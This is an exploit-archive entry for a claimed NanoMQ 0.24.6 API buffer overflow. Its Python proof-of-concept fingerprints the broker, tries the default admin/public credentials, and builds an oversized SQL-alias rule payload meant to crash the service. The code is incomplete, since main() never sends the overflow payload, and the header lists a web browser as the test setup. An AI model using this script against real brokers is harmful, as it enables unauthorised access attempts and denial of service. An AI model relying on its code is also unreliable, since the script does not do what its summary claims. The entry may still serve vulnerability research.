Exploit for 📄 NanoMQ 0.24.6 API SQL Rule Engine Buffer Overflow

## https://sploitus.com/exploit?id=PACKETSTORM:214921
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    | # Title     : NanoMQ 0.24.6 API SQL Rule Engine Buffer Overflow                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://nanomq.io/changelogs/v0.24.6                                                                                        |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/213369/
    
    [+] Summary    :  This script is a proof‑of‑concept used to test NanoMQ’s API for improper input handling. 
                      It sends an intentionally long and malformed SQL alias through the /api/v4/rules endpoint to check whether the service safely rejects the input or crashes. 
                      The code does not achieve real remote code execution; it only helps identify potential buffer overflow or denial‑of‑service vulnerabilities by observing the service’s response or crash behavior.
    
    [+] POC :
    
    #!/usr/bin/env python3
    
    import requests
    import argparse
    import sys
    import time
    import socket
    
    class NanoMQExploit:
        def __init__(self, target, username="admin", password="public"):
            self.target = target.rstrip('/')
            self.username = username
            self.password = password
            self.auth = (username, password)
            self.session = requests.Session()
            self.session.auth = self.auth
            self.session.headers.update({
                'User-Agent': 'NanoMQ-Exploit-Tester',
                'Accept': 'application/json'
            })
    
        def check_service(self):
            print(f"[*] Checking if service is accessible at {self.target}")
    
            endpoints = ["/api/v4", "/api/v4/rules", "/"]
    
            for endpoint in endpoints:
                try:
                    response = self.session.get(f"{self.target}{endpoint}", timeout=5)
                    print(f"[+] {endpoint} - Status: {response.status_code}")
                    if 'nanomq' in response.text.lower() or 'emqx' in response.text.lower():
                        return True
                except requests.exceptions.ConnectionError:
                    continue
                except requests.exceptions.Timeout:
                    continue
                except Exception:
                    continue
    
            try:
                host = self.target.split('://')[1].split(':')[0]
                try:
                    port = int(self.target.split(':')[-1].split('/')[0])
                except ValueError:
                    return False
    
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(3)
                sock.connect((host, port))
                sock.send(b"GET / HTTP/1.0\r\n\r\n")
                banner = sock.recv(1024).decode('utf-8', errors='ignore')
                sock.close()
    
                if 'nanomq' in banner.lower():
                    return True
            except Exception:
                pass
    
            return False
    
        def test_credentials(self):
            try:
                response = self.session.get(f"{self.target}/api/v4/rules", timeout=5)
                return response.status_code != 401
            except Exception:
                return False
    
        def create_overflow_test_payload(self, length):
            long_alias = "X" * length
            return {
                "rawsql": f'SELECT qos as {long_alias} FROM "test/topic"',
                "actions": [{
                    "name": "sqlite",
                    "params": {"table": "table", "path": "/tmp/test.db"}
                }]
            }
    
        def is_service_alive(self, retries=2):
            for _ in range(retries):
                try:
                    response = self.session.get(f"{self.target}/api/v4", timeout=3)
                    if response.status_code in [200, 401, 403]:
                        return True
                except Exception:
                    pass
                time.sleep(1)
            return False
    
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target", required=True)
        parser.add_argument("-u", "--username", default="admin")
        parser.add_argument("-p", "--password", default="public")
        parser.add_argument("--verbose", action="store_true")
    
        args = parser.parse_args()
    
        exploit = NanoMQExploit(args.target, args.username, args.password)
    
        try:
            exploit.check_service()
            exploit.test_credentials()
        except Exception as e:
            if args.verbose:
                import traceback
                traceback.print_exc()
            else:
                print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        main()
    
    	
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================